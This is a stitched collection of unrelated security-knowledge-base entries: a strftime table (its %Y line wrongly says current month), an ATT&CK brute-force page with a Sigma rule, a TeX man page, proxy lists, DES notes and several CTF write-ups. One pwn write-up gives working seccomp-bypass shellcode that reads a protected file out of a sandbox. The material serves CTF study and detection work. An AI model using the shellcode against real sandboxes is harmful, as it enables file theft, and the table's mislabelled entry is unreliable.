| %j | 从1月1日起一年中的第几天 |
| %m | 十进制表示的月份 |
| %M | 十进制表示的分钟 |
| %p | 12小时表示法(AM/PM) |
| %S | 十进制表示的秒 |
| %U | 十进制表示的一年中的第几个星期(星期天作为一个星期的开始) |
| %w | 十进制表示的星期几(星期天是0) |
| %W | 十进制表示的一年中的第几个星期(星期一作为一个星期的开始) |
| %x | 重新设置本地日期(08/20/99) |
| %X | 重新设置本地时间(12:00:00) |
| %y | 两位数字表示的年(99) |
| %Y | 当前月份 |
| %% | 百分号(%) |
|
sec-knowleage
|
# T1110-暴力破解
## ATT&CK描述
攻击者想访问某账号但不知道账号密码或仅获得了账号的密码哈希时,可能会使用暴力破解技术尝试访问此账号。
凭据导出用于获取密码哈希。Pass the Hash方法行不通时,攻击者才可能会用凭据导出的方法来获取密码哈希。攻击者可以使用相应技术来系统地猜测用于计算哈希的密码,或者可以使用预先计算好的彩虹表来破解哈希。攻击者通常在目标网络以外他们自己所控制的系统上来破解哈希。
攻击者可能会在对密码和哈希一无所知的情况下胡乱尝试密码来强行登录,或使用一系列已知或可能的密码来尝试暴力破解。这种操作的风险比较大,因为它可能会导致大量认证失败和账号锁定,具体取决于组织的登录失败策略。
既然使用多个密码来暴力破解一个账号会导致该账号被锁定,攻击者可能会使用密码喷洒技术来规避这个风险。密码喷洒技术使用一个(例如“Password01”)或一小列满足域的复杂性策略的密码(并且可能是常用的密码)和网络上许多其他不同账号来尝试登录。
## 测试案例
暂无
## 检测日志
认证相关数据
## 测试复现
暂无
## 测试留痕
暂无
## 检测规则/思路
### sigma规则
```yml
title: 暴力破解
description: 检测从一个源到一个目的地的许多身份验证失败,这表明可能存在暴力行为
tags:
- attack.t1110
author: Aleksandr Akhremchik, oscd.community
Translator: 12306Bro
date: 2019/10/25
status: experimental
logsource:
category: authentication #认证数据
detection:
selection:
action: failure #失败
timeframe: 600s
condition: selection | count(category) by dst_ip > 30 #统计认证数据中10分钟内目标IP大于30个且认证失败的源IP地址
fields:
- src_ip #源IP
- dst_ip #目的IP
- user # 用户
falsepositives: #误报
- Inventarization #库存化
- Penetration testing #渗透测试
- Vulnerability scanner #漏洞扫描器
- Legitimate application #合法申请
level: medium #中
```
### 建议
暂无
## 相关TIP
[[T1110-003-linux-ssh爆破]]
[[T1110-003-win-密码喷射]]
## 参考推荐
MITRE-ATT&CK-T1110
<https://attack.mitre.org/techniques/T1110/>
|
sec-knowleage
|
.TH TEX 1 "10 November 2001" "Web2C 7.4.5"
.\"=====================================================================
.if n .ds MF Metafont
.if t .ds MF M\s-2ETAFONT\s0
.if t .ds TX \fRT\\h'-0.1667m'\\v'0.20v'E\\v'-0.20v'\\h'-0.125m'X\fP
.if n .ds TX TeX
.ie t .ds OX \fIT\v'+0.25m'E\v'-0.25m'X\fP\" for troff
.el .ds OX TeX\" for nroff
.\" the same but obliqued
.\" BX definition must follow TX so BX can use TX
.if t .ds BX \fRB\s-2IB\s0\fP\*(TX
.if n .ds BX BibTeX
.\" LX definition must follow TX so LX can use TX
.if t .ds LX \fRL\\h'-0.36m'\\v'-0.15v'\s-2A\s0\\h'-0.15m'\\v'0.15v'\fP\*(TX
.if n .ds LX LaTeX
.if n .ds WB Web
.if t .ds WB W\s-2EB\s0
.\"=====================================================================
.SH NAME
tex, virtex, initex \- 文本格式化和排版
.SH "SYNOPSIS 总览"
.B tex
.RI [ options ]
.RI [ commands ]
.\"=====================================================================
.SH "DESCRIPTION 描述"
这份手册页并不全面。此版本的 \*(TX 完整的文档可以从 info 文件或者手册
.IR "Web2C: A TeX implementation"
中找到。
.PP
\*(TX
格式化指定的文件中包含着命令的文本,输出一个设备无关的文件 (称为
.IR DVI
,即 \(lq设备无关\(rq
.IR "DeVice Independent"
的缩写)。在
.IR "The \*(OXbook"
中讲述了 \*(TX 的功能和语言。
\*(TX 通常与一个大型的预编译的宏包同时使用,有一些特定的排版系统,例如
\*(LX,
通常需要很多宏包的支持。
.PP
这个版本的 \*(TX 通过查看它的命令行,查找自身是以什么名称被调用的。
.B initex
和
.B virtex
都是到可执行文件
.B tex
的符号链接。当作为
.BR initex
调用时 (或者使用了
.B --ini
选项时),它可以用于将宏预编译,输出到一个
.I .fmt
文件中。当作为
.B virtex
调用时,它将使用
.I plain
格式。当以任何其他名称调用时,\*(TX 将使用那个名称作为要使用的格式名称。例如,当作为
.B tex
调用时,将使用
.I tex
格式,这与
.I plain
格式是相同的。
.I plain
格式中定义的命令记载在
.IR "The \*(OXbook"
中。其他常用的格式包括
.I latex
和
.IR amstex
。
.PP
调用
\*(TX
时,命令行给出的
.I commands
被传递给它作为输入的第一行。(但是通常将扩展的参数作为输入的第一行要简单许
多,因为 UNIX 命令解释器总是会 \(lq吃掉\(rq 或者错误地解释 \*(TX 的符号,例
如反斜杠,除非你引用它们。) 同
.IR "The \*(OXbook"
书中描述的一致,第一行应当以一个文件名开始,或者是一个控制序列
.IR \econtrolsequence ,
或者是一个格式名称
.IR &formatname .
.PP
通常的用法是输入
.RS
.I tex paper
.RE
来处理
.IR paper.tex
。名称
.I paper
将作为任务名 (``jobname''),也用来产生输出文件名。
如果 \*(TX 没有在第一行获得一个文件名,jobname 将是
.IR texput
。当查找一个文件时,\*(TX 查找带有和不带默认扩展名
.RI ( .tex )
的文件,除非名称中已包含了此扩展名。如果
.I paper
是任务名(``jobname''),错误消息的日志记录,包含着比通常屏幕上显示的内容更加详细的内容,将保存为
.IR paper.log
,输出文件将保存为
.IR paper.dvi
。
.PP
这个版本的 \*(TX 可以查看文件
.I paper.tex
的第一行,看它是否以特殊序列
.IR %&
开始。如果第一行以
.BI %& format
.BI --translate-file \ tcxname
开始,那么 \*(TX 将使用指定的格式和转换表
.I tcxname
来处理源文件。格式名称和
.B --translate-file
转换定义都可以被忽略,但是不能同时忽略。这个设定超越了基于可执行文件名称的格式选择。
选项
.B --parse-first-line
或者配置中的变量
.B parse_first_line
控制了是否允许这样的行为。
.PP
在 \*(TX 的错误提示下回应
.I e
将使得系统默认的编辑器被启动,修改当前文件的当前行。环境变量 TEXEDIT 可以用来修改所用的编辑器。它可以包含一个字符串 "%s",指定文件名要替换的位置,以及字符串 "%d",指定行号 (如果有的话) 要替换的位置。例如,要使用
.B emacs
,可以这样设置 TEXEDIT 字符串,使用
.B sh
命令
.RS
\fITEXEDIT="emacs +%d %s"; export TEXEDIT\fP
.RE
.PP
为了方便,库中有一个文件
.IR null.tex
,内容为空。当 \*(TX 找不到可能的输入时,它会一直让用户输入另一个文件名;如果不想输入任何东西,回应 `null' 可以跳出这个循环。也可以输入 EOF 字符 (通常是 control-D)。
.PP
.\"=====================================================================
.SH "OPTIONS 选项"
这个版本的 \*(TX 可以解释下列命令行选项。
.TP
.B --file-line-error-style
.br
打印错误消息,以
.I file:line:error
的形式,与大多数编译器格式化消息的方式相似。
.TP
.BI --fmt \ format
.br
使用
.I format
作为要使用的格式名,而不是调用
\*(TX 的名称或者
.I %&
一行指定的内容。
.TP
.B --help
.br
打印帮助信息,然后退出。
.TP
.B --ini
.br
成为
.BR initex
,用于转储格式 (dump formats);如果调用的程序名是
.BR initex
,那么隐含这个选项。
.TP
.BI --interaction \ mode
.br
设置交互模式。mode 可以是
.IR batchmode ,
.IR nonstopmode ,
.IR scrollmode ,
和
.IR errorstopmode
其中之一。这些模式的含义与相应的
\ecommands
相同。
.TP
.B --ipc
.br
将 DVI 输出发送到一个 socket,同时像通常那样输出到文件。这个选项是否可用取决于安装程序的选择。
.TP
.B --ipc-start
.br
与
.BR --ipc
类似,并且同时也在另一段启动服务器。这个选项是否可用取决于安装程序的选择。
.TP
.BI --jobname \ name
.br
使用
.I name
作为作业名,而不是从输入文件名获得。
.TP
.BI --kpathsea-debug \ bitmask
.br
根据位掩码,设置路径搜索调试标志。细节请参见
.I Kpathsea
手册页。
.TP
.BI --maketex \ fmt
.br
启用
.RI mktex fmt
,这里
.I fmt
必须是
.I tex
或者
.IR tfm
之一。
.TP
.B --mltex
.br
启用 ML\*(TX 扩展。
.TP
.BI --no-maketex \ fmt
.br
禁用
.RI mktex fmt
这里
.I fmt
必须是
.I tex
或者
.IR tfm
之一。
.TP
.BI --output-comment \ string
.br
使用
.I string
作为 DVI 文件的注释,而不是时间。
.TP
.B --parse-first-line
.br
如果主输入文件的第一行以
.I %&
开始,就解释它,从中查找一个转储名称或者一个
.B --translate-file
选项。
.TP
.BI --progname \ name
.br
伪装是程序
.IR name
。这对所用格式和搜索路径都有影响。
.TP
.B --recorder
.br
启用文件名记录。这将在一个扩展名为
.IR .fls
的文件中记录输入和输出中打开的所有文件。
.TP
.B --shell-escape
.br
启用
.BI \ewrite18{ command }
结构。
.I command
可以是任何 Bourne shell 命令。出于安全原因,这个结构通常被禁止。
.TP
.BI --translate-file \ tcxname
.br
使用
.I tcxname
转换表。
.TP
.B --version
.br
显示版本信息,然后退出。
.\"=====================================================================
.SH "ENVIRONMENT 环境"
参见 Kpathsearch 库的文档 (手册页的 `Path specifications' 节点) 来查看使用环境变量的精确的细节。
.B kpsewhich
实用工具可以用来查询变量的值。
.PP
警告:在大多数 \*(TX 格式中,不能直接传给 \*(TX 带有 ~ 的文件名,因为 ~ 是一个有特殊意义的字符,它将被扩展,不会作为文件名的一部分。其他程序,例如 \*(MF,没有这个问题。
.PP
.TP
TEXMFOUTPUT
通常,\*(TX 将输出文件放在当前目录。如果不能在那里创建任何输出文件,它试着在环境变量 TEXMFOUTPUT 指定的目录中创建它。这个参数没有默认值。例如,假设命令是
.I tex paper
并且当前目录不可写,如果 TEXMFOUTPUT 设置为
.IR /tmp
,\*(TX 试图创建
.I /tmp/paper.log
(还有
.IR /tmp/paper.dvi
,如果产生了任何输出。)
.TP
TEXINPUTS
.I \einput
和
.I \eopenin
文件的搜索路径。它们一般应当以 ``.'' 开始,使得用户文件可以先于系统文件被找到。空路径成分将被替换为
.I texmf.cnf
文件中定义的路径。例如,设置 TEXINPUTS 为 ".:/home/usr/tex:" 来将当前目录和 ``/home/user/tex'' 添加到标准的搜索路径之前。
.TP
TEXEDIT
切换为编辑器的命令模板。默认值通常是
.BR vi
,在 \*(TX 编译时进行设置。
.\"=====================================================================
.SH "FILES 文件"
下面提到的文件的位置在各个系统中是不相同的。使用
.B kpsewhich
实用工具来找到它们的位置。
.TP
.I texmf.cnf
配置文件。它包含着搜索路径的定义,还有其他配置参数,例如
.BR parse_first_line .
.TP
.I tex.pool
编码的文本,是 \*(TX 的提示消息。
.TP
.I texfonts.map
文件名映射定义。
.TP
.I *.tfm
\*(TX 字体的度量的文件。
.TP
.I *.fmt
简写的 \*(TX 格式 (.\|fmt) 文件。
.TP
.I $TEXMFMAIN/tex/plain/base/plain.tex
基本的宏包,在 \*(OXbook 中有详细描述。
.br
.\"=====================================================================
.SH BUGS
这个版本的 \*(TX 实现了大量的可选的扩展。实际上,其中大部分与 \*(TX 的定义有或多或少的冲突。当启用这样的扩展时,\*(TX 启动时打印的提示信息将是
.B TeXk
而不是
.BR TeX
。
.PP
这个版本的 \*(TX 在面积增加或减少时不能捕获算术下溢错误。这种情况很少见,但是一旦出现,产生的
.I DVI
文件将是无效的。
.\"=====================================================================
.SH "SEE ALSO 参见"
.BR mf (1),
.br
Donald E. Knuth,
.IR "The \*(OXbook" ,
Addison-Wesley, 1986, ISBN 0-201-13447-0.
.br
Leslie Lamport,
.IR "\*(LX \- A Document Preparation System" ,
Addison-Wesley, 1985, ISBN 0-201-15790-X.
.br
K. Berry,
.IR "Eplain: Expanded plain \*(TX" ,
ftp://ftp.cs.umb.edu/pub/tex/eplain/doc.
.br
Michael Spivak,
.IR "The Joy of \*(OX" ,
2nd edition, Addison-Wesley, 1990, ISBN 0-8218-2997-1.
.br
.I TUGboat
(the journal of the \*(TX Users Group).
.\"=====================================================================
.SH "TRIVIA 提醒"
\*(TX,如果发音正确的话,与 ``blecchhh'' 押韵 (rhymes)。使用 typewriter 字体时,正确的拼写是 ``TeX'' 而不是 ``TEX'' 或者 ``tex''。
.\"=====================================================================
.SH "AUTHORS 作者"
\*(TX 的设计者是 by Donald E. Knuth,他用他的 \*(WB 系统实现了它。后来,它分别被 Stanford 的 Howard Tricky 和 Cornell 的 Pavel Curtis 移植到了 Unix。当前随 Unix \*(TX 发行的这个版本使用了 \*(WB 到 C 的翻译系统
.RB ( web2c )
来产生,
.RB ( web2c )
最初由 Tomas Rokicki 和 Tim Morgan 实现。
|
sec-knowleage
|
## It's Prime Time! (PPC, 60p)
Description: We all know that prime numbers are quite important in cryptography. Can you help me to find some?
###ENG
[PL](#pl-version)
The server sends input as:
Hi, you know that prime numbers are important, don't you? Help me calculating the next prime!
Level 1.: Find the next prime number after 8:
And our task is to provide next prime numer after given number.
Numbers were small so we could have implemented a naive algorithm or a sieve, but instead we just used `gmpy2.next_prime`:
```python
import re
import socket
import gmpy2
from time import sleep
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("188.166.133.53", 11059))
regex = "Level \d+\.: .* (\d+)"
initial_data = str(s.recv(4096))
print(initial_data)
while True:
sleep(1)
task = str(s.recv(4096))
m = re.search(regex, task)
print(task)
previous_number = int(m.group(1))
result = int(gmpy2.next_prime(previous_number))
print("result = "+str(result))
s.sendall(str(result) + "\n")
pass
main()
```
And after 100 examples we got a flag: `IW{Pr1m3s_4r3_!mp0rt4nt}`
###PL version
Serwer przysyła dane w formacie:
Hi, you know that prime numbers are important, don't you? Help me calculating the next prime!
Level 1.: Find the next prime number after 8:
A naszym zadaniem jest zwrócić kolejną liczbę pierwszą po podnanej liczbie.
Liczby były bardzo małe więc mogliśmy użyć algorytmu naiwnego albo sita, ale zamiast tego użyliśmy gotowego `gmpy2.next_prime`:
```python
import re
import socket
import gmpy2
from time import sleep
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("188.166.133.53", 11059))
regex = "Level \d+\.: .* (\d+)"
initial_data = str(s.recv(4096))
print(initial_data)
while True:
sleep(1)
task = str(s.recv(4096))
m = re.search(regex, task)
print(task)
previous_number = int(m.group(1))
result = int(gmpy2.next_prime(previous_number))
print("result = "+str(result))
s.sendall(str(result) + "\n")
pass
main()
```
I po 100 przykładach dostaliśmy flagę: `IW{Pr1m3s_4r3_!mp0rt4nt}`
|
sec-knowleage
|
# IP资源整理
## 1. 代理平台
### 免费
- [小幻HTTP代理](https://ip.ihuan.me/Proxies.7z)
- [89免费代理](https://www.89ip.cn/)
- [Proxylist+](https://list.proxylistplus.com/)
### 收费
- [豌豆代理](https://www.wandouip.com/)
- 仅提供国内代理
- [Luminat](https://luminati-china.biz/)
- 一家以色列公司
- 提供住宅动态IP
- 收费模式类似于国内的流量预付费模式,但支持暂停账户保留当月使用所剩的余额,类似于流量不清零
- [oxylabs](https://oxylabs.io/)
- 提供住宅动态IP
## 2. 代理池工具
- [推荐]proxy_pool,https://github.com/jhao104/proxy_pool
- > Python爬虫代理IP池(proxy pool),主要功能为定时采集网上发布的免费代理验证入库,定时验证入库的代理保证代理的可用性,提供API和CLI两种使用方式。
- Golang实现的IP代理池,https://github.com/henson/proxypool
- > 采集免费的代理资源为爬虫提供有效的IP代理
- ProxyPool,https://github.com/Card007/Proxy-Pool
- > 爬取代理IP并进行测速,筛选出高速可用的IP
- MXProxyPool,https://github.com/iamhmx/MXProxyPool
- > 动态代理IP池
|
sec-knowleage
|
# Pattern Institute
* Category: Pwn
* 450 Points
* Solved by the JCTF Team
## Description
> It is you against the Pattern Institute!
>
> However, Pattern Institute know what they're up against, so they shut down all their systems, except a sandboxed one, in which they allow only limited operations for their operatives to run.
>
> Our researchers were able to gain hold of the sandbox source code and chain some cool vulnerabilities in Pattern Institute's sandbox, to eventualy get an arbitrary binary to run on that system! but it's been a long time since they've played in the sand.
>
> Your job is to steal an important file from their system's /home folder and report its contents back to headquarters.
A `*.go` file was attached.
```go
package main
import (
"os"
"fmt"
"syscall"
b64 "encoding/base64"
libseccomp "github.com/seccomp/libseccomp-golang"
)
func whiteList(syscalls []string) {
fmt.Printf("|------------------------------------------|\n")
fmt.Printf("\033[0;33m[!] Sandboxing all syscalls\033[0m\n")
filter, err := libseccomp.NewFilter(libseccomp.ActErrno.SetReturnCode(int16(syscall.EPERM)))
if err != nil {
fmt.Printf("Error creating filter: %s\n", err)
}
for _, element := range syscalls {
fmt.Printf("[+] Whitelisting: %s\n", element /*"*****"*/)
syscallID, err := libseccomp.GetSyscallFromName(element)
if err != nil {
panic(err)
}
filter.AddRule(syscallID, libseccomp.ActAllow)
}
filter.Load()
fmt.Printf("\n|------------------------------------------|\n")
}
func main() {
/* get parameter from command line and decode to base64, then write it to disk */
if len(os.Args) != 2 {
fmt.Printf( "[!] ERROR, argument missing\n\033[1;31mUse 'http://ip:port/?arg=<base64 encoded code>' to run your code inside the sandbox\033[0m\n\n")
return
}
sDec, _ := b64.StdEncoding.DecodeString(os.Args[1])
file, err := os.Create("/tmp/your_code")
if err != nil {
panic(err)
}
_, errW := file.Write(sDec)
if errW != nil {
panic(errW)
}
// Change permissions Linux.
err = os.Chmod("/tmp/your_code", 0777)
if err != nil {
panic(err)
}
file.Close()
//===== S A N D B O X S T A R T S =====
var syscalls = []string{
"mmap", "mprotect", "write", "open", "close", "fstat",
"execve", "arch_prctl", "stat", "futex", "exit_group" }
whiteList(syscalls)
fmt.Printf( "\n[+] Now decoding your code...\n")
fmt.Printf( "[+] Running your code...\n\n\033[1;33mSTDOUT:\n=======\033[0m\n")
err2 := syscall.Exec("/tmp/your_code", nil, nil)
if err2 != nil {
fmt.Printf( "[-] Error encountered while running your code!\n%s\n", err2)
}
fmt.Printf("\n\n\033[1;32m|-------------END OF EXECUTION---------------|\033[0m\n")
// infinite loop
for {
}
}
```
## Solution
We can see that the program accepts our input (a base64 encoded program), writes it to `/tmp` and runs it under seccomp restrictions. Since we need to leak the flag, we need to find a way to open a file, read its content and write it to `stdout` by only using the whitelisted syscalls: `["mmap", "mprotect", "write", "open", "close", "fstat", "execve", "arch_prctl", "stat", "futex", "exit_group"]`.
We can find a collection of templates to bypass seccomp [here](https://github.com/unixist/seccomp-bypass). `read-with-mmap` seems like exactly what we need:
```assembly
.globl _start
_start:
// open
movw $0x7374, %r11w /* ts */
push %r11
movq $0x736f682f6374652f, %r11 /* /etc/hos */
push %r11
lea 0(%rsp), %rdi
xor %rsi, %rsi
addb $2, %al
syscall
// mmap
xor %rdi, %rdi
xor %rsi, %rsi
mov $0xffff, %si
xor %rdx, %rdx
add $1, %dl
mov %rax, %r8
xor %r9, %r9
xor %r10, %r10
add $1, %r10b
xor %rax, %rax
mov $9, %al
syscall
// write
xor %rdi, %rdi
inc %dl
mov %rax, %rsi
xor %rdx, %rdx
mov $0xffff, %dx
xor %rax, %rax
inc %al
syscall
// exit
xor %rdi, %rdi
mov $3, %dl
xor %rax, %rax
mov $60, %al
syscall
```
This snippet just uses `open`, `mmap`, `write` and `exit` to leak the contents of `/etc/hosts`. All the syscalls are allowed in our case, so we just need to change the target file and compile.
At first we might be tempted to just change the filename from `/etc/hosts` to `/home/flag.txt` and compile the program:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ diff read-with-mmap.s solve.s
4c4
< movw $0x7374, %r11w /* ts */
---
> mov $0x7478742e6761, %r11 /* ag.txt */
6c6
< movq $0x736f682f6374652f, %r11 /* /etc/hos */
---
> movq $0x6c662f656d6f682f, %r11 /* /home/fl */
42a43
>
┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ f="solve"; ./gen-shellcode.sh solve.s > $f.c; gcc -static $f.c -o $f
```
However, the build instructions in the repository create the following source code:
```c
#include <stdint.h>
#include <sys/mman.h>
char shellcode[] = "\x49\xbb\x61\x67\x2e\x74\x78\x74\x00\x00\x41\x53\x49\xbb\x2f"
"\x68\x6f\x6d\x65\x2f\x66\x6c\x41\x53\x48\x8d\x3c\x24\x48\x31"
"\xf6\x04\x02\x0f\x05\x48\x31\xff\x48\x31\xf6\x66\xbe\xff\xff"
"\x48\x31\xd2\x80\xc2\x01\x49\x89\xc0\x4d\x31\xc9\x4d\x31\xd2"
"\x41\x80\xc2\x01\x48\x31\xc0\xb0\x09\x0f\x05\x48\x31\xff\xfe"
"\xc2\x48\x89\xc6\x48\x31\xd2\x66\xba\xff\xff\x48\x31\xc0\xfe"
"\xc0\x0f\x05\x48\x31\xff\xb2\x03\x48\x31\xc0\xb0\x3c\x0f\x05";
int main(){
mprotect((void *)((uint64_t)shellcode & ~4095), 4096, PROT_READ|PROT_EXEC);
(*(void(*)()) shellcode)();
return 0;
}
```
When compiled with GCC, this creates a program which uses extra syscalls such as `brk`, as seen when running `strace`:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ strace ./solve
execve("./solve", ["./solve"], 0x7ffe49f0d970 /* 32 vars */) = 0
brk(NULL) = 0xf65000
brk(0xf65d80) = 0xf65d80
arch_prctl(ARCH_SET_FS, 0xf65380) = 0
uname({sysname="Linux", nodename="kali", ...}) = 0
readlink("/proc/self/exe", "/media/sf_CTFs/intent/Pattern_In"..., 4096) = 45
brk(0xf86d80) = 0xf86d80
brk(0xf87000) = 0xf87000
mprotect(0x4a9000, 12288, PROT_READ) = 0
mprotect(0x4ac000, 4096, PROT_READ|PROT_EXEC) = 0
open("/home/flag.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
mmap(NULL, 65535, PROT_READ, MAP_SHARED, -2, 0) = -1 EBADF (Bad file descriptor)
write(0, 0xfffffffffffffff7, 65535) = -1 EFAULT (Bad address)
exit(0) = ?
+++ exited with 0 +++
```
To get a minimal executable, we should use a tool such as `nasm`. This requires us to port the assembly syntax to Intel syntax:
```assembly
global _start
section .text
_start:
xor rax, rax ; Added since al is used below without initialization
; open
mov r11, 0x7478742e6761 ; ag.txt
push r11
mov r11, 0x6c662f656d6f682f ; /home/fl
push r11
lea rdi, [rsp + 0]
xor rsi, rsi
add al, 2
syscall
; mmap
xor rdi, rdi
xor rsi, rsi
mov si, 0xffff
xor rdx, rdx
add dl, 1
mov r8, rax
xor r9, r9
xor r10, r10
add r10b, 1
xor rax, rax
mov al, 9
syscall
; write
xor rdi, rdi
inc dl
mov rsi, rax
xor rdx, rdx
mov dx, 0xffff
xor rax, rax
inc al
syscall
; exit
xor rdi, rdi
mov dl, 3
xor rax, rax
mov al, 60
syscall
```
Let's compile:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ nasm -felf64 solve.asm && ld solve.o -o ./solve
```
We can check the syscalls with `strace`:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ strace ./solve
execve("./solve", ["./solve"], 0x7ffc45a3aac0 /* 32 vars */) = 0
open("/home/flag.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
mmap(NULL, 65535, PROT_READ, MAP_SHARED, -2, 0) = -1 EBADF (Bad file descriptor)
write(0, 0xfffffffffffffff7, 65535) = -1 EFAULT (Bad address)
exit(0) = ?
+++ exited with 0 +++
```
Now we just base64-encode the program and submit it:
```
successfully wrote to file...
Welcome to Alpine Linux 3.8
Kernel 4.14.55-84.37.amzn2.x86_64 on an x86_64 (ttyS0)
localhost login: root (automatic login)
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
You can setup the system with the command: setup-alpine
You may change this message by editing /etc/motd.
[*] FC IP=172.16.0.50
[*] TAP IP=172.16.0.49
______ _ _ _____ _ _ _ _
| ___ \ | | | | |_ _| | | (_) | | |
| |_/ /_ _| |_| |_ ___ _ __ _ __ | | _ __ ___| |_ _| |_ _ _| |_ ___
| __/ _` | __| __/ _ \ '__| '_ \ | || '_ \/ __| __| | __| | | | __/ _ \
| | | (_| | |_| || __/ | | | | | _| || | | \__ \ |_| | |_| |_| | || __/
\_| \__,_|\__|\__\___|_| |_| |_| \___/_| |_|___/\__|_|\__|\__,_|\__\___|
Welcome dear visitor!
|------------------------------------------|
[!] Sandboxing all syscalls
[+] Whitelisting: mmap
[+] Whitelisting: mprotect
[+] Whitelisting: write
[+] Whitelisting: open
[+] Whitelisting: close
[+] Whitelisting: fstat
[+] Whitelisting: execve
[+] Whitelisting: arch_prctl
[+] Whitelisting: stat
[+] Whitelisting: futex
[+] Whitelisting: exit_group
|------------------------------------------|
[+] Now decoding your code...
[+] Running your code...
STDOUT:
=======
INTENT{pl4y1n6_1n_7h3_54nd_15_d4n63r0u5}
Segmentation fault
```
|
sec-knowleage
|
# DES
## 基本介绍
Data Encryption Standard(DES),数据加密标准,是典型的块加密,其基本信息如下
- 输入 64 位。
- 输出 64 位。
- 密钥 64 位,使用 64 位密钥中的 56 位,剩余的 8 位要么丢弃,要么作为奇偶校验位。
- Feistel 迭代结构
- 明文经过 16 轮迭代得到密文。
- 密文经过类似的 16 轮迭代得到明文。
## 基本流程
给出一张简单的 [DES 流程图](http://homepage.usask.ca/~dtr467/400/) 。
### 加密
我们可以考虑一下每一轮的加密过程
$L_{i+1}=R_i$
$R_{i+1}=L_i\oplus F(R_i,K_i)$
那么在最后的 Permutation 之前,对应的密文为$(R_{n+1},L_{n+1})$。
### 解密
那么解密如何解密呢?首先我们可以把密文先进行逆置换,那么就可以得到最后一轮的输出。我们这时考虑每一轮
$R_i=L_{i+1}$
$L_i=R_{i+1}\oplus F(L_{i+1},K_i)$
因此,$(L_0,R_0)$ 就是加密时第一次置换后的明文。我们只需要再执行逆置换就可以获得明文了。
可以看出,DES 加解密使用同一套逻辑,只是密钥使用的顺序不一致。
## 核心部件
DES 中的核心部件主要包括(这里只给出加密过程的)
- 初始置换
- F 函数
- E 扩展函数
- S 盒,设计标准未给出。
- P 置换
- 最后置换
其中 F 函数如下
如果对 DES 更加感兴趣,可以进行更加仔细地研究。欢迎提供 PR。
## 衍生
在 DES 的基础上,衍生了以下两种加密方式
- 双重 DES
- 三种 DES
### 双重 DES
双重 DES 使用两个密钥,长度为 112 比特。加密方式如下
$C=E_{k2}(E_{k1}(P))$
但是双重 DES 不能抵抗中间相遇攻击,我们可以构造如下两个集合
$I={E_{k1}(P)}$
$J=D_{k2}(C)$
即分别枚举 K1 和 K2 分别对 P 进行加密和对 C 进行解密。
在我们对 P 进行加密完毕后,可以对加密结果进行排序,这样的复杂度为$2^nlog(2^n)=O(n2^n)$
当我们对 C 进行解密时,可以每解密一个,就去对应的表中查询。
总的复杂度为还是$O(n2^n)$。
### 三重 DES
三重 DES 的加解密方式如下
$C=E_{k3}(D_{k2}(E_{k1}(P)))$
$P=D_{k1}(E_{k2}(D_{k3}(C)))$
在选择密钥时,可以有两种方法
- 3 个不同的密钥,k1,k2,k3 互相独立,一共 168 比特。
- 2 个不同的密钥,k1 与 k2 独立,k3=k1,112 比特。
## 攻击方法
- 差分攻击
- 线性攻击
## 2018 N1CTF N1ES
基本代码如下
```python
# -*- coding: utf-8 -*-
def round_add(a, b):
f = lambda x, y: x + y - 2 * (x & y)
res = ''
for i in range(len(a)):
res += chr(f(ord(a[i]), ord(b[i])))
return res
def permutate(table, block):
return list(map(lambda x: block[x], table))
def string_to_bits(data):
data = [ord(c) for c in data]
l = len(data) * 8
result = [0] * l
pos = 0
for ch in data:
for i in range(0,8):
result[(pos<<3)+i] = (ch>>i) & 1
pos += 1
return result
s_box = [54, 132, 138, 83, 16, 73, 187, 84, 146, 30, 95, 21, 148, 63, 65, 189, 188, 151, 72, 161, 116, 63, 161, 91, 37, 24, 126, 107, 87, 30, 117, 185, 98, 90, 0, 42, 140, 70, 86, 0, 42, 150, 54, 22, 144, 153, 36, 90, 149, 54, 156, 8, 59, 40, 110, 56,1, 84, 103, 22, 65, 17, 190, 41, 99, 151, 119, 124, 68, 17, 166, 125, 95, 65, 105, 133, 49, 19, 138, 29, 110, 7, 81, 134, 70, 87, 180, 78, 175, 108, 26, 121, 74, 29, 68, 162, 142, 177, 143, 86, 129, 101, 117, 41, 57, 34, 177, 103, 61, 135, 191, 74, 69, 147, 90, 49, 135, 124, 106, 19, 8
9, 38, 21, 41, 17, 155, 83, 38, 159, 179, 19, 157, 68, 105, 151, 166, 171, 122, 179, 114, 52, 183, 89, 107, 113, 65, 161, 141, 18, 121, 95, 4, 95, 101, 81, 156,
17, 190, 38, 84, 9, 171, 180, 59, 45, 15, 34, 89, 75, 164, 190, 140, 6, 41, 188, 77, 165, 105, 5, 107, 31, 183, 107, 141, 66, 63, 10, 9, 125, 50, 2, 153, 156, 162, 186, 76, 158, 153, 117, 9, 77, 156, 11, 145, 12, 169, 52, 57, 161, 7, 158, 110, 191, 43, 82, 186, 49, 102, 166, 31, 41, 5, 189, 27]
def generate(o):
k = permutate(s_box,o)
b = []
for i in range(0, len(k), 7):
b.append(k[i:i+7] + [1])
c = []
for i in range(32):
pos = 0
x = 0
for j in b[i]:
x += (j<<pos)
pos += 1
c.append((0x10001**x) % (0x7f))
return c
class N1ES:
def __init__(self, key):
if (len(key) != 24 or isinstance(key, bytes) == False ):
raise Exception("key must be 24 bytes long")
self.key = key
self.gen_subkey()
def gen_subkey(self):
o = string_to_bits(self.key)
k = []
for i in range(8):
o = generate(o)
k.extend(o)
o = string_to_bits([chr(c) for c in o[0:24]])
self.Kn = []
for i in range(32):
self.Kn.append(map(chr, k[i * 8: i * 8 + 8]))
return
def encrypt(self, plaintext):
if (len(plaintext) % 16 != 0 or isinstance(plaintext, bytes) == False):
raise Exception("plaintext must be a multiple of 16 in length")
res = ''
for i in range(len(plaintext) / 16):
block = plaintext[i * 16:(i + 1) * 16]
L = block[:8]
R = block[8:]
for round_cnt in range(32):
L, R = R, (round_add(L, self.Kn[round_cnt]))
L, R = R, L
res += L + R
return res
```
